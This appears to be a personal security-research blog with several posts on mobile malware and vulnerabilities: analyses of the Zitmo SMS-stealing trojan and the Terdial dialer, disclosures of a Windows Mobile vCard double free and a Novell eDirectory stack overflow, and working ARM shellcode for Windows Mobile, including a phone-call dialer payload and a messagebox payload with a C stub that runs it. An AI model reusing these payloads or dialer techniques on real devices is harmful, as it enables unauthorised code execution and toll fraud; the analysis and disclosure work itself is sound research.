magnify
formats

ZeuS in the Mobile (Zitmo) Malware Analizi

Selamlar, son günlerde sıkça adı geçen ZeuS mobile trojanının kısaca analizini sizlerle paylaşmak istedim. Sınav haftası yoğunluğundan yazı biraz aceleye geldi kusura bakmayın. Bayram falan derken zaten uzun süre birşey paylaşamayacağım, sınavları bi kenara bırakıp blog’a bişeyler karalayayım ve kurban bayramını gönül rahatlığıyla geçireyim dedim :)

Bu trojan Symbian ve Blackberry sistemlerini etkilemekte. Uzunca gündemde yer aldı, adını mutlaka duymuşsunuzdur. Internet bankacılığında banka tarafından sms olarak gönderilen şifreleri çalmayı hedefliyor.. En son söylendiğine göre Türkiye’de de görülmeye başlanmış.

Güvenlik sertifikası veya telefon güncellemesi adı altında bulaşan trojan, buluştağı telefonda gelen mesajları sniffleyip belirli bir numaraya gönderiyor. Analiz etmek için trojanı heryerde aradım açıkçası bulmak çok zor oldu benim için. Fortinet’de çalışan gerçek hayattan da tanışıklığımız olan arkadaşım Axelle Apvrille (the crypto girl) den yardım istedim. Şirketin katı kuralları gereği yollayamadı ama nerede bulabileceğim konusunda sağolsun bana yardımcı oldu… Teşekkürü borç bilirim. Aynı zamanda kendisinin bana söylediğine göre blackberry versiyonu şu an ne onların elinde ne de diğer şirketlerin elinde varmış. Herkes açıkçası blackberry versiyonunu arıyormuş ama bir türlü bulamamışlar.

Trojan aşağıdaki resimde gördüğünüz numarayla iletişime geçiyor. O numaraya snifflediği bilgileri gönderiyor.
num

Ayrıca telefona gelen mesajlarda numaraya bakıyor ve o numarayı saldırganın numarasıyla karşılaştırıyor. Bu karşılaştırma işlemini symbian apilerindeki TdesC16::Compare fonksiyonu ile yapıyor. Eğer eşleşirse o numaradan gelen mesajı komut olarak işleve alıyor ve uyguluyor. Komutların listesi aşağıdaki resimde görülebilir;
command

Telefondan çaldığı bilgileri kaydetmek için kendisine “Numbersdb.db” adında bir database oluşturuyor. Bu database oluşturma , table ve column’ları belirleme işlemlerini ise “RdbNamedDatabase” , “TdbCol” gibi kütüphaneleri kullanarak yapıyor. Ve bildiğimiz “Select * from” vb. SQL komutlarını kullanarak bu databaseden gerekli bilgileri çağırıyor. Database’e sorgu çekme işlemi için “RdbView” kütüphanesini kullanıyor.

db
sql
query

Gelen mesajları gizlice okumak yani snifflemek için ise sistemde bir socket açıp , gelen mesajları dinlemeye alıyor. Bu işlem içinde yine symbiandaki Rsocket::Open , RsmsSocketReadStream sistem apilerini kullanıyor….

sniff

Kaynaklar:
http://wiki.forum.nokia.com/index.php/SMS_Utilities_API (SMS sniff işlemi için kullanılan apiler)

-musashi

Celil Ünüver

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
2 Comments  comments 
formats

[istek üzerine Türkçesi] Windows Mobile Double Free Binary Analizi

üst not: gelen bir kaç mail üzerine , son yayınladığım güvenlik bildirisini Türkçeye çevirdim elimden geldiğince.. uzun bir süre [1 ay falan] birşey paylaşamayabilirim. Vizelerle uğraşmaktayım + bayram için memleketime (sweet home izmir!) gideceğim. şimdiden bayramınız kutlu olsun bu arada. Yine de dayanamayıp fırsat olursa birşeyler paylaşabilirim , görüşmek üzere :]

Giriş
21 Ekim 2010 tarihinde güvenlik listelerinde tarafımdan Windows Mobile 6.5 ve 6.1 sürümlerini etkileyen bir 0day güvenlik zaafiyeti yayınlandı. Windows Mobile işletim sistemiyle çalışan telefonlar bu açıklıktan etkilenmekte. Zaafiyet , kullanıcıya gönderilecek bir MMS veya bluetooth ile tetiklenebilmekte. Bu makalede zaafiyetin kısaca analizi yapılacaktır.

Açığın Yapısı
Açıklık bir “use after free” , daha özelleştirirsek “double free” yazılım hatası. Double Free hatalarına C/C++ dillerinde yazılmış programlarda sıkça rastlanılabilir. Double Free açıklıkları , free() fonksiyonun aynı “pointer” üzerine iki kere çağırılmasıyla oluşur.

Açığın Analizi
Double Free açığının kısaca tanımından sonra konuya geri dönelim. Windows Mobile sistemlerde , kasıtlıca doldurulmuş bir vCard dosyasının açılmasıyla “poutlook” yazılımında bir kırılmaya sebep olmakta. Açıklık vCard dosyasındaki (N) değişkenine uzun bir veri girildiğinde , hafızada birden fazla tamponun bu işleme tahsis edilmesinden meydana gelmekte. Aşağıdaki pimutil.dll dosyasında yazılım hatasını görebiliriz ;

pmutl

Resimdeki kodlarda gördüğünüz gibi SysFreeString() fonksiyonu [R4 , #0x14] pointer’ına iki kere çağırılmakta.

Etkilenen Sistemler
Windows Mobile 6.5
Windows Mobile 6.1

Test Edilen Cihazlar
HTC Touch 3G ( Windows Mobile 6.1)
HTC Touch2 (Windows Mobile 6.5)
Windows Mobile 6 SDK (WM 6.5 Professional Emulator)

Referanslar
http://www.securityfocus.com/archive/1/514398/30/0/threaded – Bugtraq

http://cwe.mitre.org/data/definitions/415.html – Double Free Zaafiyetleri

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Alert! First Double Free Vulnerability in Windows Mobile

Vendor:  Microsoft

Product:  Windows Mobile

Vulnerability:  Double Free

Tested vulnerable versions:  Windows Mobile 6.1 and 6.5

Tested on :  HTC Touch (WM 6.1), HTC Touch2 (WM 6.5)

CREDITS:  Celil Ünüver from SecurityArchitect.Org

CONTACT:  celilunuver[n0sp4m]gmail.com

Vulnerability Details and Analysis:

The vulnerability is a double free. It occurs when multiple buffers are allocated to handle a very large Name (N) field in the vCard (.vcf) file. This file can be received by MMS or Bluetooth.
After opening the malformed vcf file, it gives an error dialog. Then it frees the buffers and crashes;

pimutil.dll:
BA

*As you see that the pointer at [R4 + 0x14] is passed to SysFreeString() twice.

CRASH

*The code at location 0271E4F4  is attempting to extract the ‘size’ from the heap chunk header.

Exploiting:
Double Frees are usually exploitable but in this case it doesnt look simple. The calls to free() occurs in immediate succession. WinCE supports multi-threading, but this is an extremely hard case to try.. I do not have deep knowledge about WinCE heap structures. So it may be denial of service but I think it can be possible to exploit this vulnerability. (impossible is nothing ! :P )

Proof of Concept:
www.securityarchitect.org/exploits/wmpoc.vcf

Vendor-Patch Status: It’s 0day :]

Actually I contacted Microsoft but they said ; “we fixed this issue on WM 6.5 version and we can not publish a bulletin for it” But i m sure that it is not fixed on 6.5 version. I’ve tested it on several devices which have WM 6.5. Also I’ve tested it on WM 6.5 Professional Emulator (which can be downloaded from MS Pages) , it crashes too….

Last Words: We are not dead , just busy !

Greets to: SecurityArchitect Members (Ulascan) , Hellcode, murderkey …

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
6 Comments  comments 
formats

Analysis of a mobile malware (terdial)

Tarih 03 Ekim 2010 yazar içinde Genel

Language: English
click: mobile.pdf

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Mobil Malware Analizi

Geçen günlerde , PhoneCall shellcode unu yazdıktan sonra acaba piyasada dialer özelliği taşıyan bir malware var mı derken , karşıma 3D Anti Terorist oyunuyla yayılan Terdial zararlı yazılımı çıktı.  .NET Framework ile yazılmış. (msil assembly) Bu zararlı yazılımı bulmam gerçekten çok zor oldu. Piyasadan silinmiş çünkü.  (Thanks to Marco A. De Felice for sharing infected file with me :] ) Zararlı yazılımı bulduktan sonra  .cab dosyasını , oyunu kurmak için çalıştırdım.

Zararlı yazılım öncelikle kendine registry’de “Status” isimli bir subkey açarak işe başlıyor. bu subkey’de sistem tarih ve saatini alarak kendine ne kadar sıklıkla arama yapacağını belirliyor ve zararlı yazılımı “smart32.exe” olarak windows klasörü altına kopyalıyor.

Registry:

reg

Copy:

mob

Belirli aralıklarla smart32.exe sistemde çalışıyor ve şu uluslararası numaralar aranıyor;

“+8823460777″

“+17675033611″

“+88213213214″

“+25240221601″

“+2392283261″

“+881842011123″

mob2

Bir kaç hafta birşeyler paylaşamayabilirim zira hayat baya yoğun bu aralar benim için..  bir sonraki yazımda görüşmek üzere ;]

EDIT! : windows klasörüne Microsoft.WindowsMobile.Telephony isimli bir dll dosyası da kopyalıyor gözden kaçmış…  phone.dll dosyasını ve içindeki PhoneMakeCall apisini çağırmak için kullanıyor ;]

Celil Ünüver

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
3 Comments  comments 
formats

Dikkat! Windows Mobile Phone Call (dialer) Shellcode

Tekrar selamlar, hepimiz 56k modemler ile internete bağlandığımız dönemleri hatırlarız… o dönemleri bilenler “dialer” zararlı programlarını da bilirler … 900′lü vb. hatlara bağlanıp hattın sahibine parayı kazandıran bulaştığı bilgisayarın sahibine de telefon faturasını giydiren programlar :)
Bu shellcode’u yazınca aklıma ilk olarak “mobil dialer” olayı geldi :) sanırım ilerleyen günlerde mobil cihazlar önem kazandıkça mobil malware vb. sorunlarla sık sık karşılaşacağız…
Resim 1: Shellcode’u çalıştırmadan önce;

first

Resim 2: Shellcode çalıştıktan sonra:
running

Assembly code

EXPORT start
AREA .text, CODE
start
ldr R12, =0x3f6272c
adr r0, lib
mov lr, pc
mov pc, r12
ldr r12, =0x2e806dc
adr r0, num
mov r3, #0
mov r2, #0
mov r1, #0
mov lr, pc
mov pc, r12

lib dcb "c",0,"e",0,"l",0,"l",0,"c",0,"o",0,"r",0,"e",0,0,0,0,0
num dcb "3",0,"1",0,"3",0,"3",0,"7",0,0,0
ALIGN
END

———->>> C++ File with ASM code

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
1 Comment  comments 
formats

Windows Mobile Shellcode (ARM Assembly)

Selamlar, mobile/gömülü sistemler üzerine çeşitli paylaşımlar yapacağımızın haberini önceden vermiştim. Bu yazıda Windows Mobile için yazdığım messagebox shellcode’unu sizinle paylaşacağım.

Device: HTC Touch2
System: Windows Mobile 6.5 TR (WinCE 5.0.2)

/*
Coded by Celil Ünüver from SecurityArchitect

EXPORT start
AREA .text, CODE
start
eor r0, r0, r0
eor r1, r1, r1
eor r2, r2, r2
eor r3, r3, r3
ldr R12, =0x3f6272c
adr r0, lib
mov lr, pc
mov pc, r12
ldr r12, =0x3f7c15c
mov r0, #0
adr r1, mes
adr r2, mes
mov R3, #0
mov lr, pc
mov pc, r12

lib dcb “c”,0,”o”,0,”r”,0,”e”,0,”d”,0,”l”,0,”l”,0,”.”,0,”d”,0,”l”,0,”l”,0,0,0
mes dcb “o”,0,”w”,0,”n”,0,”z”,0,0,0
ALIGN
END
*/

#include
#include

int shellcode[] =
{
0xE0200000,
0xE0211001,
0xE0222002,
0xE0233003,
0xE59FC048,
0xE28F0020,
0xE1A0E00F,
0xE1A0F00C,
0xE59FC03C,
0xE3A00000,
0xE28F1024,
0xE28F2020,
0xE3A03000,
0xE1A0E00F,
0xE1A0F00C,
0x006F0063,
0×00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
0x0077006F,
0x007A006E,
0×00000000,
0x03F6272C,
0x03F7C15C,
};

int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
((void (*)(void)) & shellcode)();

return 0;
}

P.S: Fonksiyon adresleri telefondan telefona değişebilir , o yüzden test etmek isteyenler Windows Mobile Emulator’de fonksiyon adreslerini değiştirip deneyebilirler.

Daha düzgün biçimde koda ulaşmak için ; tıklayın

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Bir Güvenlik Zaafiyetinin Analizi

1-) Güvenlik Bildirisi:

Uygulama: Novell eDirectory 8.8 SP5
Etkilenen Versiyonlar: 8.8 SP5 ve önceki sürümler
Firma: Novell ( www.novell.com )
Risk Seviyesi: Orta
BID: 36815 ( http://www.securityfocus.com/bid/36815 )
Orjinal Bildiri: http://www.securityarchitect.org/advisories/securityarchitect-003.txt
Yayınlanma Tarihi: 26 Ekim 2009
Referans: Celil Ünüver , SecurityArchitect

2-) Güvenlik Zaafiyeti:

Novell eDirectory’ deki bu güvenlik zaafiyeti Dhost süreciyle ilgili bir sorundur. Bu
sorun ara bellek taşması (stack buffer overflow) güvenlik zaafiyetine sebebiyet
vermektedir. Saldırgan sunucuya kötü niyetli bir istek yollayarak bu zaafiyeti
tetikleyebilir ve sonucunda sistemde gelişigüzel (zararlı) kod çalıştırabilir.

3-) Yama Durumu:

Bu açık 26 Ekim 2009 tarihinde 0-day olarak yayınlanmıştır. Firma gerekli yamaları 31
Mayıs 2010 tarihinde yayınlamıştır.

4-) Güvenlik Zaafiyetinin Analizi:

Novell eDirectory Dhost servisi , modül yüklemek , kaldırmak ve modül hakkında bilgi
almak için belli adreslere istek yollamaktadır. Sistemdeki mevcut modüllerin ismini
kendisi atamaktadır. Aşağıdaki resimde modül listesi ve durumları gözükmektedir.
Action kısmındaki simgelere tıkladığımızda modülü aktif etmekte ya da aktifse deaktif
etmektedir. Örneğin simgesinden de anlaşılacağı gibi Wan Traffic Manager Modülü
pasif durumdadır , simgesine tıkladığımızda “https://localhost:8030/dhost/modules?
L:wtm.dlm” adresine “GET” isteği göndererek modülü aktif etmektedir. Aynı şekilde
modules?U: parametresi ile deaktif etmekte ve modules?I: parametresine gönderilen
istekle de modül hakkında bilgi vermektedir. Zaafiyet burada modül ismi olarak uzun
bir argüman girildiğinde ortaya çıkmaktadır.
modules

Dhost uygulamasını disassembly edip LoadModule subroutinelerinden birini
incelediğimizde zaafiyetin sebebini görmekteyiz ;

.text:00408000 ; LMLoadModule(x,x,x,x,x)+C3#
.text:00408000
..........
..........
..........
.text:0040802D push offset aS_dlm ; "%s.dlm"
.text:00408032 lea eax, [ebp+var_24]
.text:00408035 push eax ; char *
.text:00408036 call ds:sprintf

Görüldüğü gibi Dhost uygulamasında kontrolsüz şekilde sprintf fonksiyonu
kullanılmıştır. Fonksiyon modül isminin uzunluğunu kontrol etmektedir , uzun bir modül
ismi sisteme gönderildiğinde ara bellek taşması sorununa sebebiyet verecektir.

5-) PoC Exploit:

http://www.securityarchitect.org/exploits/novelbof.txt

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

ARM Assembly

Bu aralar ARM ile haşır neşir olmaktayım… Aslında pek bir farkı yok x86 assemblyden. Bu yazıda arm assembly ile windows mobile’da bir messagebox nasıl çağırılır onu göstereyim.


IMPORT MessageBoxW
EXPORT start
AREA .text, CODE
start
mov R0, #0
ldr R1, =secmes
ldr R2, =sectit
mov R3, #0
bl MessageBoxW
ALIGN
secmes dcb "S",0,"E",0,"C",0,"A",0,"R",0,"C",0,"H",0,0,0
sectit dcb "D",0,"e",0,"n",0,"e",0,"m",0,"e",0,0,0

END

Bazı komutlar (instructions) göreceğiniz gibi x86 assembly ile aynı. BL , x86 assembly’deki CALL instruction ın karşılığı. B ise JMP ‘ ın… Bunlara ARM’da Branch instructions diyoruz. Neyse yazıyı burda bitiriyorum, bu bir başlangıç olsun çünkü yakında “Embedded / Mobile Security” için güzel paylaşımlar gelecek , takipte olun ;]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Hellcode ile yol ayrimi

Tarih 01 Eylül 2010 yazar içinde Genel

Selamlar,

Hellcode Research ile güzel dostluklar, işler , çalışmalar yaptık.

Lakin kişisel kararlardan/tercihlerden dolayı kurucusu olduğum Hellcode Research ile bugün yol ayrımı gözükmüş ve artık bağlantım kalmamıştır.

Hellcode Research’e yolunda başarılar dilerim.

Celil Ünüver

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
4 Comments  comments